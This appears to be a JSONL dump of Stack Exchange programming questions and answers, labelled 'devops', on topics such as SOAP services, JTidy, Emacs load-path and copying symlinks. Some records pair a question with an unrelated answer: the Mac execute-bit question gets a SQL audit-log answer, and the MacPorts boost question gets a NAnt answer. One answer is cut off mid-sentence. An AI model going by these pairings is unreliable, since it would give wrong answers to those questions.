{"id": "hf_a095fa3866cd", "question": "<p>Can anyone point to live examples of SOAP or REST web services? How do you use or test an existing web service with a client?</p>\n", "question_body": "", "answer": "A SOAP webservice which converts the temperature Celsius to Fahrenheit and other way around\nhttp://www.w3schools.com/webservices/tempconvert.asmx\nA description and source code is here\nhttp://www.w3schools.com/webservices/ws_example.asp", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:34.256081"}
{"id": "hf_287a75b6b95a", "question": "<p>How to put underline for first letter for access key for  ?</p>\n", "question_body": "", "answer": "Tried the AccessKey attribute?\n```\n```\n<asp:button id=\"Button1\" runat=\"server\" Text=\"Print\" AccessKey=\"P\" />\n```\n```\nIf it is really underlined is out of your control. The user agent (e.g. browser) is deciding that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:34.291922"}
{"id": "hf_3c2f1bedd230", "question": "<p>So from what little I understand about packaging for Macs, I see that the actual program that launches is the one defined under the CFBundleExecutable key in Info.plist.</p>\n\n<pre><code>&lt;key&gt;CFBundleExecutable&lt;/key&gt;\n&lt;string&gt;JavaApplicationStub&lt;/string&gt;\n</code></pre>\n\n<p>Now, my app doesnt work if /APP/Content/MacOS/JavaApplicationStub is not chmodded +x (It just fails silently without doing anything, which is a pain!).\nFair enough, its not executable I guess. But its a big problem if you are copying the app from somewhere that dosent support +x properties on files; such as windows, fat32 USB keys, CDROMs, websites, zip files, etc...</p>\n\n<p>What can I do in these instances to make the app able to run?  Manually setting the execute bit is not an option.</p>\n\n<p>There's got to be people who run Mac apps off CD, at the very least!</p>\n", "question_body": "", "answer": "An alternative would be to create an audit log that might look like this:\n```\n```\nAuditLog table\n    EntityName varchar(2000),\n    Action varchar(255),\n    EntityId int,\n    OccuranceDate datetime\n```\n```\nwhere EntityName is the name of the table (eg: Contries, Provinces), the Action is the audit action (eg: Created, Removed etc) and the EntityId is the primary key of the modified row in the original table.\nThe table would need to be kept synchronized on each action performed to the tables. There are a couple of ways to do this:\n1) Make triggers on each table that will add rows to AuditTable\n2) From your application add rows in AuditTable each time a change is made to the repectivetables\nUsing this solution is very simple to get a list of logs in audit.\nIf you need to get columns from original table is also possible using joins like this:\n```\n```\nselect *\nfrom \n    Contries C \n    join AuditLog L on C.Id = L.EntityId and EntityName = 'Contries'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:34.350999"}
{"id": "hf_bed32eb9f74d", "question": "<p>Currently when I build my site I have to manually open validate it at the 3wbc site (means when opera pops up, press ctr+alt+shft+u) for every page.\nIs it possible to automatically validate every page whenever I build my pages?</p>\n\n<p>P.s.: This page doesn't validate ;)</p>\n", "question_body": "", "answer": "You can download and install your own copy of the validator -\nhttp://validator.w3.org/source/\n- and invoke it locally instead of trekking out to w3.org for each page. Still, this requires piggybacking over a web server through plain HTTP or the API. For a simpler solution you may prefer to download the SP library -\nhttp://www.jclark.com/sp/index.htm\nor\nhttp://openjade.sourceforge.net/\n- on which the W3 validator is based, then invoke the command 'nsgmls' from the command line.\nThere are of course also many desktop HTML validators that can process a batch of HTML pages at once, which may not be automated, but would certainly be much easier than manually checking each page. For example\nhttp://arealvalidator.com/\n(Windows),\nhttp://www.webthing.com/software/validator-lite/install.html\n(Unix).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:34.374442"}
{"id": "hf_131d9435d0ce", "question": "<p>In this sentence:</p>\n\n<pre><code>myCommand.ExecuteReader(CommandBehavior.CloseConnection)\n</code></pre>\n\n<p>does it close connection in case of exception?</p>\n", "question_body": "", "answer": "There are plenty of ways that the command can go wrong.\nUltimately it is the Close method of the data reader that will close the connection, provided nothing has gone wrong before.\nIf there is an exception that occurs inside ExecuteReader or any of its called methods, before the actual DataReader object is constructed, then no, the connection will not be closed.\nIn case of an exception, I wouldn't trust it to close the connection.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:34.397982"}
{"id": "hf_61451733598c", "question": "<p>I have a Java service which now will execute in a batch mode. Multi threaded support is added to the service so for every batch request a thread pool will be dedicated to execute the batch. The question is how do I test this? I have functional tests that pass under the threaded version of the service but, somehow, I feel there must be an idiom for testing this.  </p>\n", "question_body": "", "answer": "There really isn't a \"good\" way to do this.  The best thing I can suggest would be TestNG, which allows you to annotate your test methods and cause them to be executed in\nn\nthreads concurrently.  For example:\n```\n```\n@Test(invocationCount=10, threadPool=10)\npublic void testSomethingConcurrently() {\n    ...\n}\n```\n```\nMy TestNG knowledge is rusty at best, but AFAIK that should invoke the\n```\ntestSomethingConcurrently\n```\nmethod 10 times concurrently.  This is a nice and declarative way to run multi-threaded tests against your code.\nYou can of course do something similar in JUnit by spawning threads manually in a loop, but that's insanely ugly and difficult to work with.  I had to do this once for a project I was working on; those tests were a nightmare to deal with since their failures weren't always repeatable.\nConcurrency testing is difficult and prone to frustration, due to its non-deterministic nature.  This is part of why there is such a big push these days to use better concurrency abstractions, ones which are easier to \"reason about\" and convince one's self of correctness.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:34.421358"}
{"id": "hf_a61645ccd824", "question": "<p>Could anyone provide any example of NAnt script for C++ project build automation?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "If the project is in Visual Studio then you can use the\n```\n<Solution>\n```\ntask, I think.  That's the simplest/ugliest way of doing it.\nedit:\nJust realised that SO filtered out my little XML tag there.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:34.479062"}
{"id": "hf_4bb938685fb9", "question": "<p>How can i find out this information?</p>\n\n<hr>\n\n<p>Ie, </p>\n\n<p>I can install boost 1.35 with a command like</p>\n\n<pre><code>sudo port install boost\n</code></pre>\n\n<p>only to get boost 1.36 via port i would do something like this? </p>\n\n<pre><code>sudo port install boost-1.36\n</code></pre>\n\n<p>Hope that clears up my question</p>\n", "question_body": "", "answer": "If the project is in Visual Studio then you can use the\n```\n<Solution>\n```\ntask, I think.  That's the simplest/ugliest way of doing it.\nedit:\nJust realised that SO filtered out my little XML tag there.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:34.502671"}
{"id": "hf_8ea177d0fcb2", "question": "<p>How can I extract information from a website (<a href=\"http://tv.yahoo.com/listings\" rel=\"nofollow noreferrer\">http://tv.yahoo.com/listings</a>)  and then create an XML file out of it? I want to save it so  to parse later and display information using JavaScript?</p>\n\n<p>I am quite new to Perl and I have no idea about how to do it.</p>\n", "question_body": "", "answer": "Of course. The easiest way would be the\nWeb::Scraper\nmodule. What it does is it lets you define scraper objects that consist of\nhash key names,\nXPath expressions that locate elements of interest,\nand code to extract bits of data from them.\nScraper objects take a URL and return a hash of the extracted data. The extractor code for each key can itself be another scraper object, if necessary, so that you can define how to scrape repeated compound page elements: provide the XPath to find the compound element in an outer scraper, then provide a bunch more XPaths to pull out its individual bits in an inner scraper. The result is then automatically a nested data structure.\nIn short, you can very elegantly suck data from all over a page into a Perl data structure. In doing so, the full power of XPath + Perl is available for use against any page. Since the page is parsed with HTML::TreeBuilder, it does not matter how nasty a tagsoup it is. The resulting scraper scripts are much easier to maintain and far more tolerant of minor markup variations than regex-based scrapers.\nBad news: as yet, its documentation is almost non-existent, so you have to get by with googling for something like [\nmiyagawa web::scraper\n] to find example scripts posted by the module’s author.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:34.538719"}
{"id": "hf_6f35fa8d1419", "question": "<p>My company has developed (and still continues to develope) a large ASP.NET business application. Our platform is ASP.NET 2.0 using some ASP.NET Ajax. We're <strong>extensively using third-party components</strong>, like webgrids, comboboxes, treeviews, calendar and scheduling controls etc.</p>\n\n<p>Now, I don't know a lot of ASP.NET MVC and I'd like to know if there <strong>is a way to use these third-party-controls in the ASP.NET MVC model</strong>. Or do vendors have to rewrite their products in order to make them suitable for ASP.NET MVC?</p>\n", "question_body": "", "answer": "If they use the ASP.NET Control Model (That will be about 99,9% of controls written by ASP.NET Control vendors), they have to rewrite their controls. How much work there is in that, is very different depending of there arhitecture of their controls - the more ajax they already use, the more posible it is that they easily can change it to MVC.\nASP.NET AJAX Control toolkit for exsample can work with MVC. You can see how to do this in a video on WWW.ASP.NET:\nhttp://www.asp.net/learn/mvc-videos/video-373.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:34.586472"}
{"id": "hf_6203fdf67637", "question": "<p>I'm new to Flex, although not new to programming. I want to write a generic event handler that will be called by all my textinput boxes when they receive focus.  When they have focus, I want to change the colour of the textinput box.  When they lose focus, I want to restore the \"inactive\" color profile. I could write an ActionScript event handler for each textinput box, but we all know that's lame.  :o)  What I need, then, is a way to access the object which is calling the event handler.</p>\n\n<p>In Delphi, I'd have written a function which passes in the Sender object, allowing me to access the calling object's properties.  I'm guessing ActionScript/Flex has a completely different architecture, which is why I'm having difficulty doing this.</p>\n\n<p>Thanks in anticipation!</p>\n", "question_body": "", "answer": "I hope I'm understanding what you're asking for... are you talking about event delegation?\nThis worked for me:\n```\n```\n// 'focusOut' for blur\nstage.addEventListener('focusIn', function(e:Event):void {\n    // The focused control is e.target\n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:34.680957"}
{"id": "hf_60daacb34966", "question": "<p>How do I declare a private function in Fortran?</p>\n", "question_body": "", "answer": "I've never written a line of FORTRAN, but\nthis thread about \"Private module procedures\"\nseems to be topical, at least I hope so. Seems to contain answers, at least.\njaredor\nsummary:\nThe public/private attribute exists within modules in Fortran 90 and later. Fortran 77 and earlier--you're out of luck.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:34.710088"}
{"id": "hf_f83f21a8bf15", "question": "<p>In my Spring MVC based applications i use Freemarker and i like it very much, but it's lacking advantages provided by Composite View pattern. </p>\n\n<p>I'm thinking of trying to use Tiles2 together with Freemarker - does anyone know where do i find a simple example of SpringMVC together with Tiles2+Freemarker?</p>\n", "question_body": "", "answer": "nevermind, i've solved it. i just had to specify freemarker templates in tiles definitions file\n```\n```\n<definition name=\"template\" template=\"/WEB-INF/ftl/main.ftl\">\n```\n```\nand add freemarker servlet/maping to web.xml\n```\n```\n<servlet>\n    <servlet-name>freemarker</servlet-name>\n    <servlet-class>freemarker.ext.servlet.FreemarkerServlet</servlet-class>\n\n    <!-- FreemarkerServlet settings: -->\n    <init-param>\n        <param-name>TemplatePath</param-name>\n        <param-value>/</param-value>\n    </init-param>\n    <init-param>\n        <param-name>NoCache</param-name>\n        <param-value>true</param-value>\n    </init-param>\n    <init-param>\n        <param-name>ContentType</param-name>\n        <param-value>text/html</param-value>\n    </init-param>\n\n    <!-- FreeMarker settings: -->\n    <init-param>\n        <param-name>template_update_delay</param-name>\n        <param-value>0</param-value> <!-- 0 is for development only! Use higher value otherwise. -->\n    </init-param>\n    <init-param>\n        <param-name>default_encoding</param-name>\n        <param-value>ISO-8859-1</param-value>\n    </init-param>\n    <init-param>\n        <param-name>number_format</param-name>\n        <param-value>0.##########</param-value>\n    </init-param>\n\n    <load-on-startup>5</load-on-startup>\n</servlet>  \n\n <servlet-mapping>\n    <servlet-name>freemarker</servlet-name>\n    <url-pattern>*.ftl</url-pattern>\n </servlet-mapping>\n```\n```\nin spring configuration specify tiles as my primary view engine\n```\n```\n<bean id=\"tilesConfigurer\" class=\"org.springframework.web.servlet.view.tiles2.TilesConfigurer\">\n        <property name=\"definitions\">\n            <list>\n                <value>/WEB-INF/defs/definitions.xml</value>\n            </list>\n        </property>\n</bean>\n<bean id=\"viewResolver\" class=\"org.springframework.web.servlet.view.UrlBasedViewResolver\">\n        <property name=\"viewClass\" value=\"org.springframework.web.servlet.view.tiles2.TilesView\"/>\n</bean>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:34.733535"}
{"id": "hf_ceaad681fb80", "question": "<p>How can I access Ethernet statistics from C/C++ code like <strong>netstat -e</strong>?</p>\n\n<pre><code>Interface Statistics\n\n                       Received            Sent\n\nBytes                      21010071        15425579\nUnicast packets               95512           94166\nNon-unicast packets           12510               7\nDiscards                          0               0\nErrors                            0               3\nUnknown protocols                 0\n</code></pre>\n", "question_body": "", "answer": "Szia,\nfrom\nhttp://en.wikipedia.org/wiki/Netstat\nOn the Windows platform, netstat\n  information can be retrieved by\n  calling the GetTcpTable and\n  GetUdpTable functions in the IP Helper\n  API, or IPHLPAPI.DLL. Information\n  returned includes local and remote IP\n  addresses, local and remote ports, and\n  (for GetTcpTable) TCP status codes. In\n  addition to the command-line\n  netstat.exe tool that ships with\n  Windows, there are GUI-based netstat\n  programs available.\n  On the Windows platform, this command\n  is available only if the Internet\n  Protocol (TCP/IP) protocol is\n  installed as a component in the\n  properties of a network adapter in\n  Network Connections.\nMFC sample at CodeProject:\nhttp://www.codeproject.com/KB/applications/wnetstat.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:34.757141"}
{"id": "hf_a7433deea764", "question": "<p>How can I compile/run C or C++ code in a Unix console or a Mac terminal?</p>\n", "question_body": "", "answer": "Assuming the current directory is not in the path, the syntax is\n```\n./[name of the program]\n```\n.\nFor example\n```\n./a.out\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:34.781559"}
{"id": "hf_7a328a2274c7", "question": "<p>I have a page, with some code in js and jQuery and it works very well. But unfortunately, all my site is very very old, and uses frames. So when I loaded my page inside a frame, <code>$(document).ready()</code> doesn't fire up.</p>\n\n<p>My frameset looks like:</p>\n\n<pre><code>&lt;frameset rows=\"79,*\" frameBorder=\"1\" frameSpacing=\"1\" bordercolor=\"#5996BF\" noresize&gt; \n    &lt;frame name=\"header\" src=\"Operations.aspx?main='Info.aspx'\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" noresize frameborder=\"0\"&gt;\n    &lt;frame name=\"main\" src=\"Info.aspx\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"auto\" noresize frameborder=\"0\"&gt;      \n&lt;/frameset&gt;\n</code></pre>\n\n<p>My page is loaded into the <code>main</code> frame. What should I do?</p>\n", "question_body": "", "answer": "There is no reason for\n```\n$(document).ready()\n```\nnot to be called.\nBe sure your page contains an include to\n```\njquery.js\n```\n. Try to do a simple test with an empty HTML page and just an alert to see if there is another problem.\nIf you are trying to use this inside the HTML page that contains the frame's definition, keep in mind that there is no document there, you will have to use the", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:34.805062"}
{"id": "hf_8856d4bc1f81", "question": "<p>I have table employee like,\n<br>\nemployee\n(\nemp_id int primary key,\nemp_name varchar(50),\nmngr_id int)</p>\n\n<p>and here mngr_id would either null or contain valid emp_id. This way it form the hierarchy of employees in the organization.</p>\n\n<p>In order to traverse the entire hierarchy I had to write the recursive stored procedure. (in Oracle it's easy by using CONNECT BY .. START WITH)</p>\n\n<p>So the question is that what is the performance impact of such stored procedure given that the level of hierarchy would not go beyond 10 levels !</p>\n\n<p>Is there any other way to achieve the same ?</p>\n", "question_body": "", "answer": "Regarding the last question: There are a few nice options at\n\"What is the most efficient/elegant way to parse a flat table into a tree?\"\nYou should also consider caching the result of the recursion in an intermediate table. If you change that only on update to your hierarchy table, the recursion performance hit will be negligible.\nEDIT:\nPersonally I would do the recursion in the presentation layer of my app, for example on the web server. This provides greater flexibility compared to what can be achieved in SQL, and you can also use session or application level caching. (Using a pre-constructed DB table that is kept up to date with a trigger never leaves you with an outdated cache, though.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:34.828287"}
{"id": "hf_6e91c9c72c7b", "question": "<p>In Visual Studio, when you compile foo.idl, MIDL generates the proxy information in foo_p.c.</p>\n\n<p>Unfortunately, for Win32 and x64 files, it uses the same filename. For Win32, the file starts with:</p>\n\n<pre><code>#if !defined(_M_IA64) &amp;&amp; !defined(_M_AMD64)\n</code></pre>\n\n<p>For x64, the file starts with:</p>\n\n<pre><code>#if defined(_M_AMD64)\n</code></pre>\n\n<p>When you build for Win32 and then immediately build for x64, it doesn't replace the foo_p.c file, meaning that the project fails to link.</p>\n\n<p>I tried having a pre-build event that deletes the foo_p.c file if it's for the wrong architecture, but VS doesn't even bother to run that step.</p>\n\n<p>How should I get it so that I can build one configuration and then the other?</p>\n", "question_body": "", "answer": "You could modify the compiler settings for your IDL file to specify a different file name for the output proxy file according to the target platform. (Select Properties on the IDL file, then Configuration Properties / MIDL / Output).\nFor Win32 builds, use\n```\nfoo_p_w32.c\n```\nFor x64 builds, use\n```\nfoo_p_x64.c\n```\nThen, in your Win32 project settings, exclude the file\n```\nfoo_p_x64.c\n```\nand vice versa for the x64 project.\nYou need to do the same for the _i.c file, otherwise Visual Studio doesn't seem to rebuild the IDL at all.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:34.876142"}
{"id": "hf_004be21898b7", "question": "<p>What is the simplest way of copying symbolic links on the Mac?</p>\n\n<p>A python or perl solution would be preferred, but any solution would be a help.</p>\n\n<p>I am copying frameworks for an installation package, and need the links to be maintained</p>\n", "question_body": "", "answer": "In python you can use\nos.readlink\nand\nos.symlink\nto perform this action. You should check if what you operate on is actually a symbolic link with\nos.lstat\nand\nstat.S_ISLNK\n```\n```\nimport os, stat\nif stat.S_ISLNK(os.lstat('foo').st_mode):\n    src = os.readlink('source')\n    os.symlink(src, 'destination')\n```\n```\nYou could do it with the\n-R option of cp\n. This works because cp by default does not follow symbolic links but barks at copying non-files without specifying -R which means recursion.\n```\n```\ncp -R source destination\n```\n```\nIn python that would be with the\nsubprocess.call\n```\n```\nfrom subprocess import call\ncall(['cp', '-R', 'source', 'destination'])\n```\n```\nNote that a\nmacosx alias\nis not a symbolic link and therefore symbolic link specific treatment will fail on it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:34.911747"}
{"id": "hf_e9d143882bb7", "question": "<p>I'm trying to do XHTML DOM parsing with JTidy, and it seems to be rather counterintuitive task. In particular, there's a method to parse HTML:</p>\n\n<pre><code>Node Tidy.parse(Reader, Writer)\n</code></pre>\n\n<p>And to get the &lt;body /&gt; of that Node, I assume, I should use</p>\n\n<pre><code>Node Node.findBody(TagTable)\n</code></pre>\n\n<p>Where should I get an instance of that TagTable? (Constructor is protected, and I haven't found a factory to produce it.)</p>\n\n<p>I use JTidy 8.0-SNAPSHOT.</p>\n", "question_body": "", "answer": "You could use the\n```\nparseDOM\n```\nmethod instead, which would give you a\n```\norg.w3c.dom.Document\n```\nback:\n```\n```\nDocument document = Tidy.parseDOM(reader, writer);\nNode body = document.getElementsByTagName(\"body\").item(0);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:34.947002"}
{"id": "hf_335c0f8faaf1", "question": "<p>How do I convert text between multi-byte text strings, for example Simplified Chinese GB 2312, into UTF8 using c++ ?</p>\n", "question_body": "", "answer": "On unix systems you'd best use the iconv library.\nSee\niconv_open\n,\niconv\n,\niconv_close\nYou'd have to know the character encoding of course (EUC-CN, HZ).\nIf not on a unix system, search for some support in the OS, doing character conversions by hand is very hard to get right.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:34.973810"}
{"id": "hf_8a82f1109a6b", "question": "<p>What'd also interest me is which have more or less dependencies.</p>\n", "question_body": "", "answer": "Google is our friend\n...\nFirst hit:\nhttp://syntax.rubyforge.org/chapter-1.html#s1", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:35.055314"}
{"id": "hf_40e17937ca24", "question": "<p>For a file containing the given class, SomeCoolClass, what would be the proper or standard filename?</p>\n\n<pre>\n 1. somecoolclass.rb\n 2. some_cool_class.rb\n 3. some-cool-class.rb\n 4. SomeCoolClass.rb\n</pre>\n\n<p>or some other variation?</p>\n\n<p>I noticed in the Ruby stdlib, versions 1, 2 and 3 are used.</p>\n", "question_body": "", "answer": "With just\nRuby\n(i.e. not Rails), naming is only a convention.  In\nRails\nthe\nconvention\nof using underscores is necessary (almost).\nI think convention #2\n```\nlowercase_and_underscore.rb\n```\nis more common and looks pretty good, though an article\nHere\nsays\n```\nlowercasenounderscore.rb\n```\nis the Ruby convention.\nPick either\nwhich ever convention is more common or which ever one you like more.  The most important thing is to\nbe consistent within a project\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:35.107227"}
{"id": "hf_40e8997c1f5a", "question": "<p>What is the arrow operator (<code>-&gt;</code>) a synonym for?</p>\n", "question_body": "", "answer": "The following two expressions are equivalent:\n```\n```\na->b\n\n(*a).b\n```\n```\n(subject to operator overloading, as Konrad mentions, but that's unusual).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:35.179688"}
{"id": "hf_59187d42c276", "question": "<p>If I have a folder structure set up like this:</p>\n\n<pre><code>~/Projects\n    emacs\n        package1\n            package1-helpers\n        package2\n            package2-helpers\n            package2-more-helpers\n        package3\n            package3-helpers\n</code></pre>\n\n<p>How do I add these folders:</p>\n\n<ul>\n<li>~/Projects/emacs</li>\n<li>~/Projects/emacs/package1</li>\n<li>~/Projects/emacs/package2</li>\n<li>~/Projects/emacs/package3</li>\n</ul>\n\n<p>...to the <code>load-path</code> from my .emacs file?</p>\n\n<p>I basically need a short automated  version of this code:</p>\n\n<pre><code>(add-to-list 'load-path \"~/Projects/emacs\")\n(add-to-list 'load-path \"~/Projects/emacs/package1\")\n(add-to-list 'load-path \"~/Projects/emacs/package2\")\n(add-to-list 'load-path \"~/Projects/emacs/package3\")\n</code></pre>\n", "question_body": "", "answer": "```\n```\n(let ((base \"~/Projects/emacs\"))\n  (add-to-list 'load-path base)\n  (dolist (f (directory-files base))\n    (let ((name (concat base \"/\" f)))\n      (when (and (file-directory-p name) \n                 (not (equal f \"..\"))\n                 (not (equal f \".\")))\n        (add-to-list 'load-path name)))))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:35.203965"}
{"id": "hf_32dc8af31f97", "question": "<p>Is there an easy way with LINQ to flatten an XML file?</p>\n\n<p>I can see a number of ways with XSLT but wondered what the best option with LINQ would be?</p>\n\n<p>I cant put the xml structure up exactly as stackoverflow seems to filter chevron chars. But its something like this </p>\n\n<p>nodeA </p>\n\n<p>--nodeA1 </p>\n\n<p>--nodeA2 </p>\n\n<p>NodeB </p>\n\n<p>I want to end up with </p>\n\n<p>nodeA </p>\n\n<p>nodeA1</p>\n\n<p>nodeA2 </p>\n\n<p>NodeB</p>\n", "question_body": "", "answer": "OK; it depends on the output you want - with XElement you'd need to do a bit of work to remove all the descendent nodes etc. However, it is actually quite simple with XmlDocument:\n```\n```\nstring xml = @\"<xml><nodeA><nodeA1/><nodeA2/></nodeA><NodeB/></xml>\";\n\nXmlDocument doc = new XmlDocument();\ndoc.LoadXml(xml);\n\nXmlDocument clone = new XmlDocument();\nXmlElement root = (XmlElement) clone.AppendChild(clone.CreateElement(\"xml\"));\nforeach(XmlElement el in doc.SelectNodes(\"//*\")) {\n    root.AppendChild(clone.ImportNode(el, false));\n}\nConsole.WriteLine(clone.OuterXml);\n```\n```\nOutputs:\n```\n```\n<xml><xml /><nodeA /><nodeA1 /><nodeA2 /><NodeB /></xml>\n```\n```\n[was]\nCare to define \"flatten\" in this context? i.e. \"before\" and \"after\"?\nXDocument has Descendants() and DescendantNodes() which might do the job...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:35.226534"}
{"id": "hf_75bcddb0198a", "question": "<p>Sometimes, when we're doing small changes to our web apps, e.g. bug fixes, we don't build a whole new WAR-file each time, but merely replace just the affected class files in the exploded web app directory under <code>WEB-INF/classes</code> and restart the app.</p>\n\n<p>Is that okay?</p>\n", "question_body": "", "answer": "I'd say that probably isn't a best practice, because of versioning: how do you know which version of the application you've got deployed? If you deploy a .war file your build process can take care of updating a build number (from source control, or separately, whatever - as long as each build has a different number it's OK).\nIf you're using continuous integration (and it's definitely a good idea to be) then your build process should be kicking out an 'artifact' (war file) each time you make changes in source code. also perhaps tagging the code in version control with the build number.\nSo, when you deploy your web app, you know exactly which version is running and which source code makes up that version.\nMaking small incremental changes by updating individual .class files I'd say is probably not a good idea for anything other than local developer testing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:35.248843"}
